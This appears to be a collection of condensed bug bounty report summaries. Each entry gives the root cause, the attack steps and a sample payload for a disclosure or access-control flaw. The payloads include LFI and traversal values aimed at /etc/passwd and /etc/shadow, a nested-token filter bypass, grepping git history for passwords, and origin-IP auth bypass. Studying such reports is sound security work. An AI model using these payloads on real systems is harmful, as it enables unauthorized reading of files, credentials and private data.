Program h1-ctfSurface webTag file-upload
Root cause
A chain of recon-driven disclosure primitives: secrets hidden in a self-hosted JS file (diff vs upstream), DB creds committed in public GitHub history, README/backup zip left in web root, and an LFI reading application source to defeat blacklists.
Method
- Diff a self-hosted library (jquery.min.js) against the pristine upstream to reveal injected/hidden data.
- Find the app's public GitHub repo and walk commit history for creds removed in later commits (models/Db.php).
- Fetch referenced README.md / *.zip left in web root to recover source and install notes.
- Abuse a template=?/file param LFI to read index.php source, then craft filter-surviving payloads.
# diff a self-hosted lib against upstream to spot planted data
js-beautify app/jquery.min.js > a; js-beautify jquery-3.5.1.min.js > b; diff a b
# secrets in public git history (creds dropped later)
git log -p | grep -i -E 'password|secret|DbConnect'
# str_replace is non-recursive -> nest the banned token to survive filtering
?template=secretsecretadmiadmin.phpn.phpadmin.phadmin.phpp
Insight — Treat every self-hosted asset, public repo, and leftover README/backup as a secret store: diff libraries against upstream, walk git history (not just HEAD), and remember non-recursive str_replace filters are defeated by nesting the banned substring.
Real-world example
UI-hidden fields still returned by the JSON API (excessive data exposure)
◆ Info
Specimen #81083 · security · awarded · 3 votes · resolved
Program securitySurface apiTag account-takeover
Root cause
A program option to hide the minimum bounty only suppressed the value in the UI; the underlying JSON API response still included base_bounty and offers_swag for private programs.
Method
- Fetch the JSON representation of the object the UI renders.
- Compare JSON fields against what the UI shows; find fields suppressed only client-side (base_bounty, offers_swag).
GET <program>.json -> {"base_bounty":10, ... "offers_swag":true}
Insight — Whenever a UI 'hides' a value, request the raw JSON/API version of the same resource; server-side filtering is often missing so the field is still present.
Real-world example
CDN image-transform bypass returns original hidden/blurred photo
◆ Info
Specimen #143669 · bumble · awarded · 3 votes · resolved
Program bumbleSurface webTag account-takeover
Root cause
Deliberately low-quality/blurred images were produced by a transform parameter on a signed CDN URL; appending a stray '?' (or otherwise perturbing the query/size placeholder) caused the CDN to ignore the size/blur transform and serve the original full-resolution image.
Method
- Grab the src of a hidden/blurred image (signed CDN URL containing a size/transform param, e.g. size=__size__).
- Append '?' to the end of the URL.
- Fetch it to receive the untransformed original.
https://cdn.example.com/p76/hidden?euri=...&size=__size__?
# trailing '?' -> original returned
Insight — When content is degraded/redacted by an image proxy transform, fuzz the transform/size params (extra ?, empty value, oversized value, duplicate keys); the signature often covers the path but not the transform, so the origin serves the untouched asset.
Real-world example
Full path disclosure via PHP array-parameter type juggling
◆ Info
Specimen #8088 · localize · none · 3 votes · resolved
Program localizeSurface webChain FPD absolute path -> enables precise LFI / log poisoning Tag account-takeover
Root cause
Sending a request parameter as an array (append []) where the app expects a string makes PHP string functions (trim(), PDO::quote(), etc.) emit 'expects parameter 1 to be string, array given' warnings that print the absolute filesystem path; broader unhandled errors leak full stack traces the same way.
Method
- Pick any POST/GET parameter processed as a string.
- Append [] to its name (e.g. create_project[name][] , import[overwrite][] , phraseChange[phraseKey][]).
- Submit; read the PHP warning/stack trace revealing the absolute web root and file paths.
POST /pages/create_project/ID
create_project[name][]=My+Android&create_project[editRepositoryID][]=72
# -> Warning: trim() expects parameter 1 to be string, array given in /var/www/vhosts/.../httpdocs_localize/classes/UI.php on line 1495
Insight — When probing PHP apps, turn every scalar parameter into an array with []; type-mismatch warnings leak absolute paths (and sometimes SQL/stack traces) that feed LFI, log-poisoning, and file-upload attacks. Also trigger errors via invalid IDs, missing files, and malformed uploads.
Real-world example
Bypass reverse-proxy/hostname auth by hitting the origin IP directly
◆ Info
Specimen #145603 · nextcloud · none · 3 votes · resolved
Program nextcloudSurface webTag subdomain-takeover
Root cause
Access restrictions (auth prompts, 'Not authorized', directory-listing off) were enforced by the fronting vhost/reverse proxy on the hostname, not by the origin app. Requesting the same paths on the raw backend IP served them unrestricted, and directory listing was on.
Method
- Resolve the app's real origin IP (DNS history, Shodan, cert SAN, headers).
- Request protected paths directly against the IP with a plain Host, e.g. http://ORIGIN_IP/admin/
- Compare to the hostname response; paths blocked on the vhost (admin UI, /images/) are served on the IP.
- Enumerate exposed directory listings and admin pages; read the powered-by banner (phpList 3.2.5) for version-specific follow-ups.
# blocked on the public hostname:
https://newsletter.TARGET.com/admin -> auth required
https://newsletter.TARGET.com/images/ -> "Not authorized"
# same paths on the origin IP are wide open:
http://ORIGIN_IP/admin/
http://ORIGIN_IP/admin/ui/
http://ORIGIN_IP/admin/ui/dressprow/pages/design.php
http://ORIGIN_IP/images/
Insight — Host-based access control on a proxy is not access control on the app. Always re-test protected paths against the discovered origin IP (and other vhosts) with a raw Host header; directory listing and admin panels frequently reappear.
Real-world example
Full path + source disclosure via traversal payload in a filename parameter
◆ Info
Specimen #149212 · expressionengine · none · 3 votes · resolved
Program expressionengineSurface webTag file-upload
Root cause
A filename/path parameter (avatar_filename) is fed to an include/file operation without validation; a traversal value throws an unhandled exception whose stack trace prints the absolute web-root path and surrounding backend code.
Method
- Find params that name files (avatar_filename, template, page, file).
- Set the value to a deep traversal such as ../../../../../../etc/passwd.
- Submit and read the resulting 500/exception page: it leaks the absolute filesystem path and code context.
- Use the disclosed web root to pivot to LFI/log poisoning or targeted file reads.
POST /ee/admin.php?/cp/members/profile/settings&id=1 HTTP/1.1
Content-Type: multipart/form-data; boundary=X
--X
Content-Disposition: form-data; name="avatar_filename"
../../../../../../etc/passwd
--X--
Insight — Any parameter that later becomes a path is both a traversal sink and a verbose-error oracle. When you cannot read a file outright, a malformed traversal value that throws still hands you the absolute path and framework internals for the next step.
Real-world example
Sensitive data persists in iOS app-state files after logout
◆ Info
Specimen #23913 · x · none · 3 votes · resolved
Program xSurface mobile-ios
Root cause
Mobile app persists sensitive data (DMs, usernames) to local files that are not wiped on logout/reboot; the cached DB is cleared but a secondary state store is not.
Method
- Login and generate sensitive data (e.g. direct messages) in the app.
- Logout and reboot the device.
- Inspect the app sandbox: Applications > Documents > com.<vendor>.xxx.application-state and app.acct.username-*.detail.* keys.
- Read residual DM content and usernames that survived logout.
Applications > Documents > com.atebits.xxx.application-state
key: app.acct.username-<random>.detail.10
Insight — On iOS/Android apps, don't only check the obvious cache DB; enumerate Documents/, Library/, *.application-state and NSUserDefaults/plist for sensitive data that survives logout. Logout should purge ALL local stores.
Real-world example
Graphviz image/shapefile node attribute as file existence & read oracle
◆ Info
Specimen #88395 · phabricator · awarded · 1 votes · resolved
Program phabricatorSurface webChain File oracle -> map installed software/paths -> potentiTag file-upload
Root cause
Remarkup renders Graphviz (dot) blocks unsandboxed; the image= and shapefile= node attributes make dot read arbitrary server-readable files. dot's error output differs for nonexistent vs readable vs unreadable paths, and readable images are actually rendered - giving a file existence/readability/read primitive.
Method
- Insert a Graphviz block referencing a target file as a node image attribute
- Introduce a deliberate syntax error to force dot's stderr into the output
- Compare the three distinct error/render outcomes to test existence and readability of any path
- Point image= at a readable file to render/leak its contents or fingerprint installed software
dot {{{ graph g { n [image="/etc/shadow"] } SYNTAXERR }}}
# render arbitrary readable image:
dot {{{ graph g { "3.4" [image="/usr/lib/python3.4/idlelib/Icons/idle_48.png"] } }}}
Insight — Any server-side rendering engine that accepts file-path attributes (Graphviz, ImageMagick, LaTeX, headless browsers) is a local-file oracle: differential error output = existence/permission oracle; rendered output = file read. Always test path attributes against /etc/passwd, /etc/shadow and version-specific paths.
Real-world example
Private video title leak via legacy oembed API + sequential ID enumeration
◆ Info
Specimen #111386 · vimeo · awarded · 1 votes · resolved
Program vimeoSurface api
Root cause
Vimeo's legacy oembed API returns the title of videos whose privacy is anything except 'Only me', ignoring the stricter privacy setting enforced on the main site; combined with sequential numeric video IDs this enables mass title harvesting.
Method
- Take a private video's numeric ID
- Request the legacy oembed JSON endpoint with the video URL
- Read the title from the returned iframe html (404 only for 'Only me')
- Iterate sequential IDs to harvest titles at scale
https://vimeo.com/api/oembed.json?url=https%3A//vimeo.com/152133387
Insight — Legacy/alternate API surfaces (oembed, /api/v1, mobile, embed endpoints) frequently enforce weaker authorization than the primary UI. When an object has a privacy setting, re-request the same object through every alternate representation; sequential IDs make any leak enumerable.
Real-world example
Pre-redaction data leaking through the activity/change-history log
◆ Info
Specimen #144129 · security · awarded · 15 votes · resolved
Program securitySurface web
Root cause
When a field (report title) is edited to redact sensitive detail, the platform's public activity feed still records and displays the old value ('title changed from X to Y'), so redaction is defeated by reading the change history.
Method
- Open a resource that supports limited disclosure / redaction and became public.
- Read the activity/audit feed for 'Title Updated' or similar change events.
- The original (sensitive) value is shown in the change record despite the current field being redacted.
Insight — Redaction that only overwrites the current value but not the audit/change log leaks the original. On any platform, check activity feeds, edit histories, diffs, and 'restore previous version' for data the UI claims was removed.
Real-world example
WebSocket over-broadcast leaks all users' PII to the client
◆ Info
Specimen #163464 · legalrobot · awarded · 8 votes · resolved
Program legalrobotSurface web
Root cause
The server pushed account records (including email addresses) for many/all users over the WebSocket channel to a normal client, even though the UI never displayed a user list - classic excessive data exposure where the API sends more than the UI renders.
Method
- Open the app and inspect WebSocket frames (browser devtools Network -> WS, or Burp)
- Observe server->client messages containing other users' records (emails, PII)
- No UI feature exposes this - the data is only in the wire traffic
Insight — Always inspect WebSocket (and GraphQL subscription / SSE) frames, not just the rendered UI - servers frequently push full objects and filter client-side. Excessive-data-exposure lives in the transport, so diff 'what the screen shows' vs 'what the socket sends'.